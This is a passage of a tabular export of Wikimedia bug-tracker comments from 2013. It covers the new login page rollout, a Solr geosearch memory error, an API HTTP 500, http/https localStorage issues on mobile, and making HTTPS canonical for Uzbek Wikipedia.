+221255,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/65851 (Gerrit Change I47e1a93d69b2dd739071738a094ce82c34b46344),,,1369777179,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221250,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:
+
+(In reply to comment #12)
+> We do have an open bug for possibly making the text color darker (bug 47777).
+> 
+> Making the languages bigger is possible.  But I wonder if
+> UniversalLanguageSelector could provide a better approach than a huge list
+> (currently it doesn't seem to work logged out).
+
+The current plan is for ULS to be enabled much more widely: http://blog.wikimedia.org/2013/05/22/getting-ready-for-uls-everywhere-2/",,,1369438770,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+221246,Make new user login/account creation the only version after testing and MW namespace cleanup,"We do have an open bug for possibly making the text color darker (bug 47777).
+
+Making the languages bigger is possible.  But I wonder if UniversalLanguageSelector could provide a better approach than a huge list (currently it doesn't seem to work logged out).",,,1369438665,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+221242,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:
+
+(In reply to comment #10)
+> (In reply to comment #7)
+> 
+> > What browser are you using? Please file any and all bugs you want for
+> > browser-specific flaws, and we'll do our best to address them. You'll need to
+> > be more specific and constructive than ""crappy"". 
+> 
+> I think I already described this under your blog post on the WMF blog,
+> Steven,
+> so I'll resort to those two screenshots, which clearly show that the new
+> login
+> screen is a regression, not an improvement.
+
+I think it's hardly clear. I think you disagree with the design direction taken, but that's not the same thing as a regression. From looking at your screenshot, I can say that it's as-designed, and that there are no browser-specific bugs as far as can be told from the screenshot. 
+
+If you have a beef with the design choices made, we can go through those one by one, but this bug probably isn't the place. 
+
+> 
+> The 'old' login screen is much more usable for me as a regular user: the test
+> for various languages is bigger, it uses a black font instead of a gray one,
+> and does not leave a lot of empty space for whatever's supposed to be on the
+> right side of the new login screen.
+> 
+> A definite plus of the new login page is that it provides a link to a help
+> page, which the old version does not have—though I'm sure it's a matter of
+> editing some system message, and it shouldn't be too hard to fix.",,,1369437452,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+221236,Make new user login/account creation the only version after testing and MW namespace cleanup,"(In reply to comment #7)
+
+> What browser are you using? Please file any and all bugs you want for
+> browser-specific flaws, and we'll do our best to address them. You'll need to
+> be more specific and constructive than ""crappy"". 
+
+I think I already described this under your blog post on the WMF blog, Steven, so I'll resort to those two screenshots, which clearly show that the new login screen is a regression, not an improvement.
+
+The 'old' login screen is much more usable for me as a regular user: the test for various languages is bigger, it uses a black font instead of a gray one, and does not leave a lot of empty space for whatever's supposed to be on the right side of the new login screen.
+
+A definite plus of the new login page is that it provides a link to a help page, which the old version does not have—though I'm sure it's a matter of editing some system message, and it shouldn't be too hard to fix.",,,1369437257,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+221229,Make new user login/account creation the only version after testing and MW namespace cleanup,"Created attachment 12392
+Screenshot of the new login page on Commons
+
+**Attached**: {F10688}",,,1369436913,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+221222,Make new user login/account creation the only version after testing and MW namespace cleanup,"Created attachment 12391
+Screenshot of the old login page on Commons
+
+**Attached**: {F10687}",,,1369436894,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+221217,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:
+
+(In reply to comment #6)
+> Why did you decide/are you planning to remove it from core? I'd be perfectly
+> happy with using &useNew=0 forever, as the new version looks absolutely
+> crappy
+> on my browser.
+
+What browser are you using? Please file any and all bugs you want for browser-specific flaws, and we'll do our best to address them. You'll need to be more specific and constructive than ""crappy"". 
+
+Maintaing multiple sets of i18n messages and styles forever is not something we're going to do. When the use of the version gated behind a URL parameter was submitted, we specifically committed to not leaving two forms in one codebase forever. Reviewers rightfully pointed out it is a messy, hackish approach to a redesign, and we only did it so that critical bugs and i18n issues could be tested in production pre-launch as the default.",,,1369434638,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1
+221212,Make new user login/account creation the only version after testing and MW namespace cleanup,"Why did you decide/are you planning to remove it from core? I'd be perfectly happy with using &useNew=0 forever, as the new version looks absolutely crappy on my browser.",,,1369434302,,PHID-USER-hxjysvdvogekpjub3nd3,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,1,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+221208,Make new user login/account creation the only version after testing and MW namespace cleanup,Related URL: https://gerrit.wikimedia.org/r/65340 (Gerrit Change I2f4cb4032871737f96f3d28a8fd974f1d8ba4ccc),,,1369433577,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+221205,Make new user login/account creation the only version after testing and MW namespace cleanup,"**swalling** wrote:
+
+(In reply to comment #2)
+> There may be some small blockers.  Currently, only the login version of this
+> is
+> in core.  We'll get create in (on its way at
+> https://gerrit.wikimedia.org/r/#/c/57823/ ).  Then, after it's stable enough
+> and wikis are happy with their customizations/help pages/messages, we can
+> resolve this bug.
+
+Yes, this is looking forward a bit, as a bug. We are going to give one week of community testing time after both account creation and login are soft-launched across the cluster, respond to feedback, and work on the necessary cleanup before launching as default.",,,1366746256,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+221200,Make new user login/account creation the only version after testing and MW namespace cleanup,"Also, we renamed useAgora to useNew.",,,1366745871,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+221198,Make new user login/account creation the only version after testing and MW namespace cleanup,"There may be some small blockers.  Currently, only the login version of this is in core.  We'll get create in (on its way at https://gerrit.wikimedia.org/r/#/c/57823/ ).  Then, after it's stable enough and wikis are happy with their customizations/help pages/messages, we can resolve this bug.",,,1366745833,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,False,,,-19,True,1,0,0,0,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+221192,Make new user login/account creation the only version after testing and MW namespace cleanup,"Matthew: Is there any timeframe (or ""Is this stable enough"" / ""Should any bug reports get fixed first and hence block this one which is about 'deployment'"")?",,,1366712736,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-pdlnlrhiqaheptyiq3m5,task_subcomment,,True,c2,1,True,,,-19,True,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0
+47014,Solarium_Client_HttpException on geosearch,"<?xml version=""1.0""?>
+<api servedby=""mw1115"">
+  <error code=""internal_api_error_MWException"" info=""Exception Caught: Solarium_Client_HttpException at /usr/local/apache/common-local/php-1.21wmf9/extensions/Solarium/lib/Result.php, line 98: Solr HTTP error: Java heap space  java.lang.OutOfMemoryError: Java heap space  (500)"" xml:space=""preserve"" />
+</api>
+
+for http://en.wikipedia.org/w/api.php?action=query&list=geosearch&gsradius=10000&gspage=Washington,%20D.C.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1360874880,1360949495.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-gsf7tirlbab2opkljop6,task_description,resolved,True,c2,1,False,False,True,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1
+218978,Solarium_Client_HttpException on geosearch,"merged, looks working. Thanks.",,,1360949495,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-gsf7tirlbab2opkljop6,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+218974,Solarium_Client_HttpException on geosearch,"solr3 and solr1003 went bonkers. Per http://marcus.net/blog/2007/11/10/solr-search-and-java-gc-tuning/ enabling concurrent GC should help.
+
+https://gerrit.wikimedia.org/r/49159",,,1360876021,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-gsf7tirlbab2opkljop6,task_subcomment,,True,c2,1,False,,,-28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+46527,FlaggedRevs API action=stabilize returns HTTP 500,"I attempted to make this HTTP POST request to api.php on testwiki:
+
+action=stabilize&title=Gold&token=<VALID EDIT TOKEN>&protectlevel=autoconfirmed&expiry=1%20month&reason=vandalism&format=xml
+
+An HTTP 500 Internal Server Error, with no debug information, was returned. Apparently the same occurs on enwiki.
+
+As far as I can see, the query is valid. Therefore the action=stabilize API is broken on these wikis, which in my view is a serious bug.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1359598320,1359665791.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-qqhen4j7bcyelc4tvore,task_description,resolved,True,c2,1,False,False,True,-30,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+215560,FlaggedRevs API action=stabilize returns HTTP 500,"
+
+*** This bug has been marked as a duplicate of bug 44468 ***",,,1359665791,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qqhen4j7bcyelc4tvore,task_subcomment,,True,c2,1,True,,,-30,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+45909,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"In Safari Desktop browser go to http://en.m.wikipedia.org/wiki/Little_Moreton_Hall whilst not logged in
+Click the star, log in. When redirected back to article the article does not get watched. Logout
+
+Go to the same page but in https mode
+https://en.m.wikipedia.org/wiki/Little_Moreton_Hall
+Click the star, login. When redirected back the article is watched.
+
+The problem is that localStorage is protocol dependant. There is different localStorage for https to http.
+
+We should probably consider using https entirely as this is going to bite us harder when we start using localStorage more aggressively..
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44330",High,80.0,1358019600,1359394711.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-eb5poownhdfeiocf4tmc,task_description,resolved,True,c2,1,False,False,True,-33,True,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1
+228522,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,https://gerrit.wikimedia.org/r/#/c/45495/ seems to take care of this and now it has been merged.,,,1359394711,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+228517,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"I'm going to try and tackle this based off of the convo that happened in #wikimedia-mobile (see below). This will NOT resolve the issue Jon raised in comment #2, but that is orthogonal to the original bug posted here anyway.
+
+From #wikimedia-mobile:
+4:23
+jdlrobson
+awjr: sorry just had to have a walk. I have another solution thanks to ori-l for the watch list dilemma
+
+4:24
+awjr
+jdlrobson: sweet tell me more
+
+4:24
+jdlrobson
+we can do the actual watch action on the server side
+so concretely we add a hidden input field to the login form that triggers a post login hook that adds the article to the watchlist
+
+4:25
+awjr
+that makes sense",,,1358899850,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-31,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+228509,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,http://stackoverflow.com/questions/10502469/is-there-any-workaround-to-make-use-of-html5-localstorage-on-both-http-and-https may be of interest..,,,1358202740,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+228502,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"(In reply to comment #4)
+> CTA means call to action but this is not very descriptive. I've updated the
+> title to reflect this better.
+
+It was also a pleonasm (""call to action action""), as I suspected. ;-)  Thanks for updating the bug summary.",,,1358136687,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,True,,,-33,True,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+228498,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"Thanks Max for reminding me to use terminology that people less close to the project understand! (appreciate it!)
+
+CTA means call to action but this is not very descriptive. I've updated the title to reflect this better.",,,1358123957,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,0,0
+228493,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"What's a ""cta action""?",,,1358110828,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,True,,,-33,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0
+228488,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,It's also worth noting that if you login on https you do not login on http (it redirects you to https).. which is rather infuriating if you bookmark a http link or follow most google search results then want to watch an article...,,,1358109495,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+228482,https interferes with clicking watchlist icon when logged out and then automatically watching the article when redirected back,"Is there a way to make local storage be protocol relative? Eg use // rather than http:// or https://?
+
+I wonder what the implications are for forcing https for all mobile views - are there issues with any devices supporting https?",,,1358109315,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-eb5poownhdfeiocf4tmc,task_subcomment,,True,c2,1,False,,,-33,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+45466,"when serving Uzbek Wikipedia, make HTTPS canonical","**Author:** `sumanah`
+
+**Description:**
+Per http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123135.html - ""should the Uzbek Wikipedia be set up in a way that makes access via the HTTPS protocol the canonical one?""
+
+Tim Starling asked http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123142.html :
+
+> Is it enough to set the <link rel=""canonical"">, or is it also necessary to redirect?
+
+> Either way, the Squid cache would have to be purged, then the search engines would have to reread that site.
+
+Answer http://lists.wikimedia.org/pipermail/wikimedia-l/2012-December/123148.html :
+
+> When I asked the nice folks at Google's search team, they answered me the following:
+
+> * The best answer would for them to use rel=canonical tags so that http://example.wikimedia.uz points to http*s*://example.wikimedia.uz. So I'd send them this page: http://support.google.com/webmasters/bin/answer.py?hl=en&answer=139394 and tell them to start doing that. If they're very serious (and it's a small property, so there's not much risk) then they could make every http page 301 to the https version as well.
+
+> I don't know how much effort each of these two measures would be. If you'd ask me, I would suggest to be ""very serious"", but we are not under a deadline (the situation has been like this for more than a year now), and setting the rel=""caonical"" would already be really, really helpful.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",High,80.0,1356638580,1357535194.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vzkv2gkncqkw4yvottlk,task_description,resolved,True,c2,1,False,False,True,-35,True,1,0,1,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+203100,"when serving Uzbek Wikipedia, make HTTPS canonical","Our side of this is done now, the rel=canonical links are deployed. Now Google just needs to crawl it.",,,1357535194,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-34,True,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+203098,"when serving Uzbek Wikipedia, make HTTPS canonical","(In reply to comment #3)
+> https://gerrit.wikimedia.org/r/#/c/41562/
+> 
+> It should be deployed and enabled on uzwiki. Then every page on that wiki
+> should be purged from Squid, say with eval.php.
+
+Note that the configuration in itself has already been fixed by gerrit change 41561, but the core change is not merged.",,,1357513383,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,True,,,-34,True,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,1
+203095,"when serving Uzbek Wikipedia, make HTTPS canonical","(In reply to comment #2)
+> RT #4207 has been created.
+
+I don't think ops has anything to do here, so I closed that RT ticket. I pushed the relevant feature for review:
+
+https://gerrit.wikimedia.org/r/#/c/41562/
+
+It should be deployed and enabled on uzwiki. Then every page on that wiki should be purged from Squid, say with eval.php.",,,1356916793,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,1,1,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+203091,"when serving Uzbek Wikipedia, make HTTPS canonical",RT #4207 has been created.,,,1356639666,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-vzkv2gkncqkw4yvottlk,task_subcomment,,True,c2,1,False,,,-35,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+203085,"when serving Uzbek Wikipedia, make HTTPS canonical","**sumanah** wrote:
+
+Quim, since you are bug wrangler this week, can you add an RT ticket for this to ask Ops to weigh in?
+
+Chris Steipp wrote:
+
+> I can add a, ""I think it's a good idea"" to the list, but Ops will need to be ok with the shift. I don't think it would be a problem, but it does mean google spidering our https site, and that may concern them. I think ops would also be the ones to implement the actual change.
+
